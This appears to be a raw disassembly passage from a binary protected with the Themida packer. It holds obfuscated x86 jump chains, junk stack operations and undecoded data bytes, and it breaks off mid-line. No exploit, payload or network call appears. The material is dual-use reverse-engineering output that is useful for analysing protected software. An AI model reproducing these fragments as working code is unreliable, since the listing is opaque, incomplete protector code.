69CF26B0h jmp loc_55B1D2 ; --------------------------------------------------------------------------- loc_555B06: ; CODE XREF: Themida_:00557227j sub ecx, 19CC313Fh add ecx, 41599D0Fh mov edx, ecx pop ecx shr edx, 3 jmp loc_55C325 ; --------------------------------------------------------------------------- db 29h, 0D1h, 81h dd 552C01C1h, 112D5A31h, 2946673Fh, 3F1105C8h, 0C8B4667h dd 59545124h, 4C181h, 6AE90000h, 5DFFFFF9h, 81240C8Bh dd 4C4h, 58BE5600h, 0E9596658h, 0AD9h ; --------------------------------------------------------------------------- loc_555B58: ; CODE XREF: Themida_:0055DAA0j xchg esi, [esp] pop esp push 991h mov [esp], ecx push 3F9h mov [esp], ebx jmp loc_5550A0 ; --------------------------------------------------------------------------- db 89h, 0E5h, 52h dd 0FFE62CE9h db 0FFh ; --------------------------------------------------------------------------- loc_555B79: ; CODE XREF: Themida_:00557FAAj push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov edi, [esp] jmp loc_55BCE9 ; --------------------------------------------------------------------------- loc_555B98: ; CODE XREF: Themida_:00554B9Aj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] add esp, 4 push 4308h mov [esp], edx sub esp, 4 jmp loc_557043 ; --------------------------------------------------------------------------- dw 6C81h dd 7D970424h, 5B5B19DFh, 4C381h, 94E90000h, 50FFFFFDh dd 725031B8h, 58C63129h, 315EF131h, 0BAE959CEh, 83000057h dd 3C8904ECh, 73C06824h, 5BE90000h db 35h, 2 dup(0) byte_555BF3 db 0ACh ; DATA XREF: Themida_:005533D8o dd 0E904EC83h, 492Bh, 34BA5257h, 513F325Ch, 8C72F2B9h dd 0C181417Ch, 0E6CACB15h, 8959CA31h, 17E95AD7h, 29FFFFEFh dd 0C14759CFh, 0E7C102E7h, 4BE5606h, 310C6363h, 0F8015EF7h dd 8C5BE9h, 72E95300h, 8B00002Bh, 0CFE92414h, 6600004Fh dd 66297868h, 0E9240489h, 0FFFFD8CFh dword_555C50 dd 0B60F6664h, 17686602h, 4896641h, 0D8BDE924h, 0B4BDFFFFh ; DATA XREF: Themida_:00553430o dd 21269B7Bh, 242C8BEAh, 9F80E9h, 241C8B00h, 4C481h, 0F0280000h dd 466045Ah, 2CC0FED4h, 0E9C38875h, 1F57h, 40F7EA81h, 335B7951h dd 14312414h, 24143324h, 4FF665Ch, 59E99C24h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CA7: ; CODE XREF: Themida_:0055A055j add esp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, 788A2764h add edi, esi pop esi xor edi, 0A86F769Fh xor eax, edi push dword ptr [esp] jmp loc_55E480 ; --------------------------------------------------------------------------- loc_555CC9: ; CODE XREF: Themida_:00554CDDj sub ebx, ecx mov ecx, [esp] add esp, 4 sub ebx, 360F7678h sub ebx, eax add ebx, 360F7678h push eax mov eax, 56447FA9h jmp loc_5541C1 ; --------------------------------------------------------------------------- loc_555CED: ; CODE XREF: Themida_:0055DFF1j pop eax mov ebx, [esp] jmp loc_55F0B5 ; --------------------------------------------------------------------------- word_555CF6 dw 8B66h ; DATA XREF: Themida_:0055343Co dd 17E92404h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CFF: ; CODE XREF: Themida_:0055C26Fj mov [esp], eax jmp loc_55351F ; --------------------------------------------------------------------------- byte_555D07 db 66h ; DATA XREF: Themida_:00553468o db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 jmp loc_55DC42 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 2Eh dd 0C1000001h, 0B95108E3h, 5D16BB04h, 7458E9h, 28DFB200h dd 0D7F7E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D36: ; CODE XREF: Themida_:0055A3E8j mov ecx, [esp] jmp loc_554102 ; --------------------------------------------------------------------------- loc_555D3E: ; CODE XREF: Themida_:00559651j mov dx, [esp] sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 jmp loc_55B5E9 ; --------------------------------------------------------------------------- loc_555D55: ; CODE XREF: Themida_:005564ECj mov [esp], edx not dword ptr [esp] pop edx xchg edx, [esp] mov eax, [esp] add esp, 4 push 3B7Ah mov [esp], ebp push 56ACh mov [esp], edx push 7EE7h mov [esp], ecx push 625604DFh pop ecx jmp loc_55721C ; --------------------------------------------------------------------------- loc_555D8B: ; CODE XREF: Themida_:0055D0F2j pop esp and ecx, ebp pop ebp shr ecx, 7 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edi jmp loc_55AD4E ; --------------------------------------------------------------------------- loc_555DA3: ; CODE XREF: Themida_:0055C79Dj sub edx, 2651AAFh add edx, edi push esi mov esi, 2651AAFh add edx, esi pop esi add dword ptr [edx], 1 pop edx loc_555DBB: ; CODE XREF: Themida_:0055F05Aj sub esp, 4 mov [esp], edi push ebx pop edi push edi push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_558BE5 ; --------------------------------------------------------------------------- loc_555DD0: ; CODE XREF: Themida_:00559CC2j xor [esp], ebx xor ebx, [esp] pop esp shr eax, 0Eh xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx sub esp, 4 mov [esp], ebx xchg ebx, [esp] xchg edx, ebx not edx jmp loc_55DA6F ; --------------------------------------------------------------------------- dd 89242C89h, 0DBB1E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DFE: ; CODE XREF: Themida_:0055E04Fj shl esi, 4 add esi, 0ADCD18D5h mov edi, esi pop esi add dword ptr [esp+4], 18AC28D7h add [esp+4], edi push 6726h mov [esp], ebx mov ebx, 18AC28D7h jmp loc_556672 ; --------------------------------------------------------------------------- dd 83E95A54h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E2F: ; CODE XREF: Themida_:0055AC4Aj push 947h mov [esp], eax mov eax, 1626E4CEh sub ebx, eax pop eax add eax, ebx pop ebx sub esp, 4 jmp loc_55F0AC ; --------------------------------------------------------------------------- db 31h, 0F3h, 5Eh dd 8C14E105h, 2DD82975h, 758C14E1h, 5B2434FFh, 0E9E38953h dd 15CBh, 57E9C501h, 0BA00005Fh, 3BE3639Eh, 8245401h, 44BFE9h db 0 ; --------------------------------------------------------------------------- loc_555E7D: ; CODE XREF: Themida_:0055E3FBj pop edx pop ebx loc_555E7F: ; CODE XREF: Themida_:005537D7j ; Themida_:0055F997j push edi push 15E3h jmp loc_553AF4 ; --------------------------------------------------------------------------- dw 0C581h dd 3D231DAEh, 0ED81FD29h, 3D231DAEh, 242C875Fh, 48F545Ch dd 24048324h, 24048F04h, 4BA5250h, 0E9000000h, 0FFFFE9B8h dd 0F389DE29h, 6E3C15Eh, 6AEEE9h, 23700500h, 0B95146FBh dd 0D8F6B94h, 0C8BC801h, 4C48124h, 81000000h, 462911C7h dd 0E9C70107h, 5519h, 98E95756h, 51000077h, 31E9E189h dd 56000031h, 42474FFh, 24048F5Eh, 66E9F65Ch, 0E9CCB60Fh dd 936Dh ; --------------------------------------------------------------------------- loc_555F08: ; CODE XREF: Themida_:0055A0CDj sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 push ecx mov ecx, 4 add esi, 7E141F85h sub esi, ecx sub esi, 7E141F85h pop ecx jmp loc_558741 ; --------------------------------------------------------------------------- db 20h dd 0ED09E9F9h, 6658FFFFh, 661F1D68h, 0B0240489h, 66C20057h dd 4490458h, 2CD000F3h, 0FF492CF3h, 835A2434h, 686604C4h dd 89664536h, 0EC81240Ch, 4, 0B6241489h, 58E68071h, 9A05E9h db 0 ; --------------------------------------------------------------------------- loc_555F7D: ; CODE XREF: Themida_:005594F4j mov ah, bh jmp loc_557F92 ; --------------------------------------------------------------------------- dd 24148758h, 2414895Ch, 8CE99C50h, 29FFFFD5h, 295859CFh dd 2434FFFDh, 4C4815Fh, 87000000h, 248B242Ch, 240C8924h dd 0FFD56EE9h, 2D30BAFFh, 0DEE94A74h, 66000051h, 64E5C381h dd 1362E9h db 0 ; --------------------------------------------------------------------------- loc_555FC5: ; CODE XREF: Themida_:00553DA5j add eax, 0CF61B551h add eax, 170E01C6h add eax, 45C56F68h add eax, ebx jmp loc_558213 ; --------------------------------------------------------------------------- db 5Ch dd 66E1F766h, 666C4568h, 0E9241489h, 3730h, 0E99C5166h dd 0FFFFD52Bh ; --------------------------------------------------------------------------- loc_555FF4: ; CODE XREF: Themida_:0055A1C6j xchg ebp, [esp] pop esp jmp loc_55B047 ; --------------------------------------------------------------------------- db 31h, 0FBh, 5Fh dd 8E9D901h db 33h, 2 dup(0) byte_556007 db 0FFh ; DATA XREF: Themida_:00553450o dd 34FF2434h, 49E6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556012: ; CODE XREF: Themida_:0055FBCFj pop eax add dword ptr [ebx], 1 jmp loc_55D1A7 ; --------------------------------------------------------------------------- loc_55601E: ; CODE XREF: Themida_:0055B2CDj xor eax, [esp] pop esp jmp loc_5580BD ; --------------------------------------------------------------------------- db 5Ch dd 0BA241489h, 0 dd 0FFF24EE9h, 15EA80FFh, 95E9D588h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55603F: ; CODE XREF: Themida_:005596E1j or esi, 22976951h shl esi, 1 sub esi, 16829109h add esi, 39495D52h sub esi, ebp sub esi, 39495D52h pop ebp and eax, esi mov esi, [esp] add esp, 4 or edx, eax jmp loc_55C6DE ; --------------------------------------------------------------------------- db 5Ah dd 2C8BEF01h, 4C48124h, 68000000h, 6F16h, 0BA241489h, 2 dd 335AD701h, 3C31243Ch, 243C3324h, 6624248Bh, 9C240431h dd 0FFD482E9h db 0FFh byte_55609D db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00553340o dd 0FFEDDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5560A5: ; CODE XREF: Themida_:00553E07j sub ebx, 6187065Ah jmp loc_559A69 ; --------------------------------------------------------------------------- loc_5560B0: ; CODE XREF: Themida_:0055B902j jmp loc_55351F ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0E8C0D2B0h, 66632C07h, 473B551h, 2CE80057h, 28596657h dd 0EB8058C3h, 80C328EDh, 8BE9EDC3h, 81000014h, 72D02404h dd 7E91E91h, 5EFFFFDAh, 5C240487h, 89240489h, 405E0h, 2050000h dd 50000000h, 90EFE9h db 0 ; --------------------------------------------------------------------------- loc_556101: ; CODE XREF: Themida_:0055DDB1j pop eax add esp, 4 loc_556108: ; CODE XREF: Themida_:0055CE41j ; Themida_:0055F9D4j push dword ptr [edi+24h] push dword ptr [esp] pop ecx push 42Eh jmp loc_55C70A ; --------------------------------------------------------------------------- aIcssc db '‰æé™C',0 align 10h dd 8AE9FD01h, 8B000001h, 0D7E92434h, 0B3000018h, 0C4CB8033h dd 0C380D3F6h, 992CE9B7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55613E: ; CODE XREF: Themida_:0055E2E3j mov ebx, 1C8D5862h xor ebx, 1C8DD862h and eax, ebx jmp loc_553B24 ; --------------------------------------------------------------------------- dd 4C481h, 0BD550000h, 2, 2680E9h db 0 ; --------------------------------------------------------------------------- loc_556161: ; CODE XREF: Themida_:0055E2A7j xor ebx, 0F4BAAD76h add esi, ebx jmp loc_554616 ; --------------------------------------------------------------------------- dw 4C2Ch dd 50240C8Bh, 405E089h, 5000000h, 4, 0E9240487h, 4769h dd 3AE9F901h, 8300004Bh, 0C38104C4h, 4, 0E9E68956h, 8706h dd 8AE9D989h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5561A7: ; CODE XREF: Themida_:0055FA18j pop eax add esp, 4 add bl, dh mov dx, [esp] jmp loc_55782D ; --------------------------------------------------------------------------- word_5561B6 dw 48Bh ; DATA XREF: Themida_:00553494o dd 8B545524h, 0C483242Ch, 4C58104h, 57000000h, 0AF0E9h db 0 ; --------------------------------------------------------------------------- loc_5561CD: ; CODE XREF: Themida_:0055830Ej mov esi, 4 add ecx, 3AC4784Eh add ecx, esi sub ecx, 3AC4784Eh pop esi add ecx, 4 jmp loc_55A0E2 ; --------------------------------------------------------------------------- dd 815DE901h, 2C1h, 240C8700h, 48B665Ch, 0CD685324h, 0E9000011h dd 5B0Bh ; --------------------------------------------------------------------------- loc_556208: ; CODE XREF: Themida_:0055A0C7j push dword ptr [esp+4] mov ebx, [esp] jmp loc_55D204 ; --------------------------------------------------------------------------- dd 1C8B2E04h, 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55EB50 ; --------------------------------------------------------------------------- loc_556224: ; CODE XREF: Themida_:0055CE17j push edi mov edi, 1 mov eax, edi pop edi push 1E3Dh jmp loc_55436A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 90F4E900h, 0D3000000h, 5CE95Ah, 0CD310000h, 0E9240C8Bh dd 743Fh, 8704ED83h, 895C242Ch, 24B1240Ch, 8084E980h, 0CA2868C2h dd 80C9B151h, 0C9FEF3C9h, 3E9C1FEh db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556277: ; CODE XREF: Themida_:0055B8E9j not ecx jmp loc_559BC2 ; --------------------------------------------------------------------------- loc_55627E: ; CODE XREF: Themida_:00559E0Ej mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_55351F ; --------------------------------------------------------------------------- dw 0D328h dd 5059EB80h, 39AE9h, 2C335F00h, 242C3124h, 0E9242C33h dd 2C67h, 742180BDh, 1D72E976h, 34B20000h, 69E9CAFEh, 80FFFFE0h dd 0CCE9ECC5h, 53FFFFDCh, 2C40E6BBh, 6625E96Bh, 24890000h dd 24048324h, 0C7815F04h, 4, 2BE56h, 0F7010000h, 8324348Bh dd 0FF5704C4h, 8B042474h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55968E ; --------------------------------------------------------------------------- dw 1433h dd 24248B24h, 7905E9h, 0EA285900h, 6622C280h, 64A6E959h dd 0C2800000h, 33E1E980h, 0D6010000h, 13E3EE81h, 148B0B66h dd 1FE95224h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556343: ; CODE XREF: Themida_:00559EB9j sub ebp, ecx pop ecx jmp loc_558884 ; --------------------------------------------------------------------------- db 81h dd 42404h, 75E90000h, 68000089h, 15B0h, 0B2241489h, 7E2C035h dd 0D2F6CAFEh, 736E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55636E: ; CODE XREF: Themida_:0055F564j mov edi, 6BE6677Bh or edi, 713E43B2h shl edi, 2 sub edi, 0EFF99FE8h add esi, 5DDC071Ch add esi, edi push edx jmp loc_558C95 ; --------------------------------------------------------------------------- loc_556390: ; CODE XREF: Themida_:0055E828j neg ecx not ecx sub ecx, 3B9F2B67h jmp loc_55C0C5 ; --------------------------------------------------------------------------- db 0C1h dd 0EA8107EAh, 0E7B05BFDh, 815AD131h, 0D93FB4E1h, 84F18150h dd 110D128h, 240C8BCFh, 59DDE9h, 8B400h, 88525AF4h, 0F08850E6h dd 0B0E9C588h, 0BFFFFF1h, 66840FC0h, 83000040h, 348904ECh dd 685E5324h, 347Bh, 0FF243489h, 0E9582434h, 77FFh ; --------------------------------------------------------------------------- loc_5563F4: ; CODE XREF: Themida_:0055C0ECj mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_558EEB ; --------------------------------------------------------------------------- loc_55640E: ; CODE XREF: Themida_:0055CA07j mov ebx, esp add ebx, 4 jmp loc_557FD6 ; --------------------------------------------------------------------------- db 0C1h dd 0F38105EBh, 40EC4590h, 9445E9h, 6EFC100h, 5105EFC1h dd 820661B9h, 0E9CF0927h, 0FFFFD29Ch ; --------------------------------------------------------------------------- loc_55643C: ; CODE XREF: Themida_:0055534Bj push cx mov cl, 59h jmp loc_553C7D ; --------------------------------------------------------------------------- db 29h, 0D6h, 8Bh dd 0C4812414h, 4, 565EF001h, 3AD26857h, 815F27CAh, 0CA3AD0EFh dd 0E9FE8927h, 85EAh, 1291E281h, 0F2815333h, 4E76536Ah dd 15AD629h, 0FBC681EEh, 0FF0F5443h, 2C8B2434h, 4410E924h dd 0EA810000h, 5F071E8Ch, 241C8B58h, 4490E9h db 0 ; --------------------------------------------------------------------------- loc_556499: ; CODE XREF: Themida_:00559CD0j add ebp, edx pop edx jmp loc_557CC0 ; --------------------------------------------------------------------------- loc_5564A1: ; CODE XREF: Themida_:0055B4B7j mov edi, 1 sub ebx, edi pop edi jmp loc_55DDF6 ; --------------------------------------------------------------------------- dw 3C87h dd 0F1315C24h, 3A5F35Eh, 2EE93862h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5564BF: ; CODE XREF: Themida_:0055F18Bj push edx jmp loc_553CF2 ; --------------------------------------------------------------------------- byte_5564C5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00553358o dd 59545159h, 4C181h, 0FAE90000h, 81000034h, 70AF6C2h dd 81EA2921h, 70AF6EAh, 34E95D21h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564EB: ; CODE XREF: Themida_:0055F8B4j pop esp jmp loc_555D55 ; --------------------------------------------------------------------------- loc_5564F1: ; CODE XREF: Themida_:005575E1j mov edx, [esp] add esp, 4 push eax mov eax, 4 add edx, eax pop eax sub edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_55E1BA ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8A41E9h, 0E1895100h, 4C181h, 0C1830000h, 240C8704h dd 69DFE9h, 4C18300h, 75B4E9h, 55CB8100h, 813F5B35h, 5E0893C3h dd 608CE999h, 1C8B0000h, 0D077E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55654E: ; CODE XREF: Themida_:0055BD29j mov ebx, 142626D2h xor edi, ebx pop ebx jmp loc_5553DB ; --------------------------------------------------------------------------- loc_55655B: ; CODE XREF: Themida_:0055D73Cj add edi, 274C6E9Ah pop eax add edi, 4 jmp loc_55CE39 ; --------------------------------------------------------------------------- a1Sa db '1Èé ',1Bh,0 dd 20350500h, 0F8016242h, 44FFBA52h, 0F2812AB2h, 48F064CAh dd 8B5AD029h, 27E9243Ch, 89000078h, 0E952242Ch, 0FFFFD3DBh ; --------------------------------------------------------------------------- loc_556598: ; CODE XREF: Themida_:0055CA71j mov eax, 4 add esi, eax pop eax xchg esi, [esp] jmp loc_55A2BE ; --------------------------------------------------------------------------- loc_5565A8: ; CODE XREF: Themida_:00559614j pop esi inc esi and esi, 53066B35h add esi, 68AAD776h mov ebp, esi pop esi sub eax, ebp mov ebp, [esp] add esp, 4 add eax, 1 sub eax, 102755D7h mov ebx, eax pop eax sub edi, ebx mov ebx, [esp] jmp loc_554452 ; --------------------------------------------------------------------------- dd 240C895Ch, 4D6FBF57h, 0D7F76A3Ah, 76BDBD55h, 0D5F773D6h dd 7F00F581h, 0F58110F9h, 7E1627D0h, 7822E9h, 1CF68100h dd 814A977Dh, 82EB26EEh, 36C68107h, 2101340Bh, 4355EF0h dd 1014C04h, 0BF5758C3h, 2, 335FFB01h, 1C31241Ch, 241C3324h dd 6764E9h, 24B95100h, 936091Bh, 0F68159CEh, 11DF162Ah dd 58BCE9h, 0B5E95600h, 51000000h, 0FFE189E9h, 0D0F75FFFh dd 75B1E9h, 24348B00h, 0E904C483h, 8BDFh dword_556664 dd 0E9028F64h, 0FFFFCEB3h, 0E545E951h ; DATA XREF: Themida_:00553300o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556672: ; CODE XREF: Themida_:00555E23j add dword ptr [esp+8], 418750Eh sub [esp+8], ebx jmp loc_55BD4C ; --------------------------------------------------------------------------- loc_556683: ; CODE XREF: Themida_:00553AE0j pop dword ptr [eax] pop eax jmp loc_559A39 ; --------------------------------------------------------------------------- db 1 dd 0C1C181D1h, 5A2CE81Fh, 8904EC83h, 0EBB241Ch, 814D2E4Dh dd 6F6553E3h, 81DBF734h, 61382DF3h, 0EB814318h, 0E3B082D2h dd 515BD901h, 42474FFh, 24048F59h, 77FAE9h, 4B800h, 44010000h dd 34FF0424h, 0B1E95824h, 56000024h, 87240C87h, 87D5F7E9h dd 240C87E9h, 0E92434FFh, 5C16h, 0E9243489h, 2EC6h ; --------------------------------------------------------------------------- loc_5566F4: ; CODE XREF: Themida_:00553C9Fj pop ebp pop edx and eax, ebp pop ebp or edx, eax jmp loc_558FBC ; --------------------------------------------------------------------------- dd 4BEh, 0E9F72900h, 77A6h, 9CEEB81h, 148B0100h, 4C48324h dd 4EC81h, 14890000h, 55E28924h, 65A9E9h, 24048900h, 405E089h dd 0E9000000h, 4BB2h, 0F31F66BEh, 246C8104h, 47133004h dd 24740141h, 24448104h, 47133004h, 148B5E41h, 7C22E924h dd 2E680000h, 8900006Bh, 0B850243Ch, 0AE23318h, 0E2331CBFh dd 9CC7810Ah, 8138F85Ch, 3C5552EFh, 81C72935h, 3C5552C7h dd 9CB95135h, 0E938F85Ch, 0FFFFF807h ; --------------------------------------------------------------------------- loc_55678C: ; CODE XREF: Themida_:00558EE6j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4FA76B03h jmp loc_554D96 ; --------------------------------------------------------------------------- db 1, 0C2h, 81h dd 0A46439C2h, 0A368553Dh, 5D490F3Ah, 7D70E9h, 4D82800h dd 770DE9A6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567BE: ; CODE XREF: Themida_:0055A9EBj mov [esp], ebp sub esp, 4 mov [esp], ecx push 1834h mov [esp], edx mov edx, 3F2A4AC7h xor [esp+4], edx jmp loc_5584D3 ; --------------------------------------------------------------------------- loc_5567DD: ; CODE XREF: Themida_:0055707Ej push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] jmp loc_558EE5 ; --------------------------------------------------------------------------- dw 0E6C1h dd 0E9D6F705h, 2014h ; --------------------------------------------------------------------------- loc_5567F8: ; CODE XREF: Themida_:00555AEFj pop edi pop dword ptr [esp] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- dw 815Eh dd 2906A9EFh, 81D70119h, 2906A9C7h, 2434FF19h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 jmp loc_557D3B ; --------------------------------------------------------------------------- db 0BDh, 20h, 14h dd 6C0100FAh, 515D0824h, 0FFEEACE9h db 0FFh ; --------------------------------------------------------------------------- loc_556839: ; CODE XREF: Themida_:005552F0j pop esp mov [esp], edx push ecx mov ch, 3Fh mov dh, 0B7h xor dh, ch pop ecx mov bl, dh jmp loc_5574D3 ; --------------------------------------------------------------------------- dd 58C13158h, 4EC81h, 4890000h, 28C9B824h, 0D0F756C5h dd 503E0C1h, 0D5402818h, 0E958C129h, 0FFFFFCFAh, 83243C89h dd 248904ECh, 24048124h, 4, 8A68E9h, 243C8700h, 3E6C15Ch dd 0E109BD55h, 0EE019220h, 5EF0015Dh, 16E468h, 242C8900h dd 6CCDE956h, 0ED810000h, 1B0B7C75h, 3FAFC581h, 0FD01182Ch dd 3FAFED81h, 5253182Ch, 0E93DE5BAh, 5AD38978h, 1ED7E9h dd 18BA5200h, 4266935Dh, 0C105E2C1h, 0F28108EAh, 627A32E3h dd 4EC81h, 4890000h, 7FC2B824h, 0BAE96488h, 89000058h dd 38E9241Ch, 5BFFFFF8h, 228E9h, 0D0DEF600h, 9CE680EEh dd 0F6C3E680h, 83F680D6h, 0E95AF000h, 7AECh ; --------------------------------------------------------------------------- loc_556914: ; CODE XREF: Themida_:00559A7Aj add ebx, eax pop eax add ebx, 4 jmp loc_55A0C6 ; --------------------------------------------------------------------------- word_556922 dw 8F66h ; DATA XREF: Themida_:00553334o dd 0E0DEE902h, 5F54FFFFh, 2115E9h, 66D00000h, 148B665Ah dd 2C48324h, 4BD0E9h db 0 ; --------------------------------------------------------------------------- loc_556941: ; CODE XREF: Themida_:0055C45Cj neg ebp sub ebp, 1D1121BEh jmp loc_559857 ; --------------------------------------------------------------------------- dw 805Ch dd 0C38019C3h, 5066525Fh, 3E73E9h db 0 ; --------------------------------------------------------------------------- loc_55695D: ; CODE XREF: Themida_:00553F07j add edx, 4 jmp loc_55C398 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 405h, 24048700h, 2EC815Ch, 66000000h, 53241489h dd 88FBB551h, 0E164E9EFh, 0BD55FFFFh, 274800B2h, 3D8CF581h dd 0CD810C39h, 0AF48EAh, 2652E9h, 55C80100h, 7C38E9h db 0 aUspQiIYs db 'USP[Q‰Ù‰ÍYé`',1Bh,0 ; DATA XREF: Themida_:005534D0o align 4 loc_5569BC: ; CODE XREF: Themida_:0055871Cj xor edx, [esp] loc_5569BF: ; DATA XREF: Themida_:0054C6ECo jmp loc_55969F ; --------------------------------------------------------------------------- dword_5569C4 dd 240C8B66h, 57E28952h, 434CBBFh, 0F7DFF777h, 52D787DFh ; DATA XREF: Themida_:005533A0o dd 0FFDD46E9h, 0E9DE29FFh, 4350h, 233FBE56h, 0EE815853h dd 0ED59F7AAh, 4E7DE9h, 5CAC2D00h, 0BA5269C8h, 0BE5976h dd 0EAC1E2D1h, 0E19CE902h, 4DB1FFFFh, 0B0505250h, 5869E914h dd 1B680000h, 5A022C3Dh, 4245431h, 0DB0BE95Ah, 0E949FFFFh dd 8ADFh, 0FFCAEEE9h, 241C8BFFh, 4C481h, 0CB010000h, 83240C8Bh dd 0C38304C4h, 241C8702h, 6624248Bh, 2404BB0Fh, 0CAC9E99Ch dd 2CD2FFFFh, 0B4E99C24h, 81000012h, 4C4h, 0F4D8E900h dd 0F829FFFFh, 240C8B5Fh, 0E9E68956h, 12A0h, 241C875Ah dd 0E924248Bh, 2368h, 4B951h, 0CA010000h, 5407E9h, 243C8900h dd 2BFh, 26C18100h, 0E910B763h, 77E3h, 90E9E589h, 52000003h dd 0DEF6E0B6h, 0C4F680h, 37DBE9F3h, 2C8B0000h, 33E95124h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556AC3: ; CODE XREF: Themida_:005592E9j push edx mov edx, 4 jmp loc_55B6DC ; --------------------------------------------------------------------------- loc_556ACE: ; CODE XREF: Themida_:0055BBF0j sub edi, 2362310Ch xor edi, 0DC48CE70h add ecx, 3A6060CAh add ecx, edi jmp loc_55EF32 ; --------------------------------------------------------------------------- aNh7 db 'h/7',0 ; DATA XREF: Themida_:00553380o dd 243C8900h, 89D9E9h, 5EF13100h, 0C8BCA01h, 4C48324h dd 0FFCA1AE9h, 4C681FFh, 0E9000000h, 46F9h ; --------------------------------------------------------------------------- loc_556B10: ; CODE XREF: Themida_:0055ABF3j sub edx, 6C32A6Fh add edx, 0D6352D4Ah mov ebp, edx pop edx inc ebp jmp loc_5558B3 ; --------------------------------------------------------------------------- aSux db '(ÊéuX',0 align 4 aZS5p db 'Z^é5P',0 dw 8100h dd 4C6h, 4EC8100h, 89000000h, 0B7BD242Ch, 0E97D085Eh, 2DEBh dd 4FAFF581h, 0EC830BD1h, 24048904h, 9E516268h, 0A82D580Dh dd 0E9044D09h, 3D9h ; --------------------------------------------------------------------------- loc_556B68: ; CODE XREF: Themida_:00559EF3j mov [esp], edi jmp loc_55BD23 ; --------------------------------------------------------------------------- dd 0E95EF189h, 0FFFFF610h dword_556B78 dd 3EBE56ADh, 29737519h, 24348BF0h, 565A5452h, 6185E9h ; DATA XREF: Themida_:00553460o db 0 ; --------------------------------------------------------------------------- loc_556B8D: ; CODE XREF: Themida_:00554F5Ej pop edx jmp loc_55992F ; --------------------------------------------------------------------------- loc_556B93: ; CODE XREF: Themida_:0055D5DDj add dword ptr [esp], 4 pop esi add esi, 4 sub esp, 4 mov [esp], ebp jmp loc_557B0C ; --------------------------------------------------------------------------- byte_556BA9 db 0ADh, 5, 13h ; DATA XREF: Themida_:0055332Co aIecsh db 'iECéH',0Bh,0 align 4 dd 8B243C87h, 0B70F2424h, 27EF68C8h, 0F8E90000h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556BC7: ; CODE XREF: Themida_:00558F7Cj add ebp, 0EFBFFBB8h add esi, ebp pop ebp add esi, 4 push 772Ah jmp loc_557588 ; --------------------------------------------------------------------------- dd 0EC80D4F6h, 0E7EC8071h, 0E9D5E480h, 7177h ; --------------------------------------------------------------------------- loc_556BF0: ; CODE XREF: Themida_:00557770j sub ebp, 745301EEh pop ecx jmp loc_558FE0 ; --------------------------------------------------------------------------- dd 4C481h, 0C4810000h, 4, 0F6A8B151h, 6DDAE9D1h, 0F6810000h dd 48B023E1h, 0D7E68146h, 81046C64h, 0A91CEEF6h, 24BAE915h dd 0F0010000h, 64D1E9h, 0C8ED8100h, 8158AD3Ch, 0AF1830CDh dd 5BC58134h, 31915C07h, 0FF665DE8h, 0C8D1E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C4E: ; CODE XREF: Themida_:005551FCj xor esi, eax mov eax, [esp] jmp loc_55C7F5 ; --------------------------------------------------------------------------- loc_556C58: ; CODE XREF: Themida_:0055F070j mov eax, [esp] push edi mov edi, esp add edi, 4 jmp loc_55A799 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 2 dd 0F7914191h, 380368D8h, 1C890000h, 39BF5724h, 0BB1FE93Dh dd 9A13FB89h, 3989E9h, 4BC38000h, 0EB80F328h, 0B0045A4Bh dd 10E9D800h, 51FFFFCBh, 1E477168h, 240C8B1Bh, 5304C483h dd 53D6852h, 815A71CAh, 0D81A3BE2h, 4E2C128h, 4280E9h dd 4BBCBF00h, 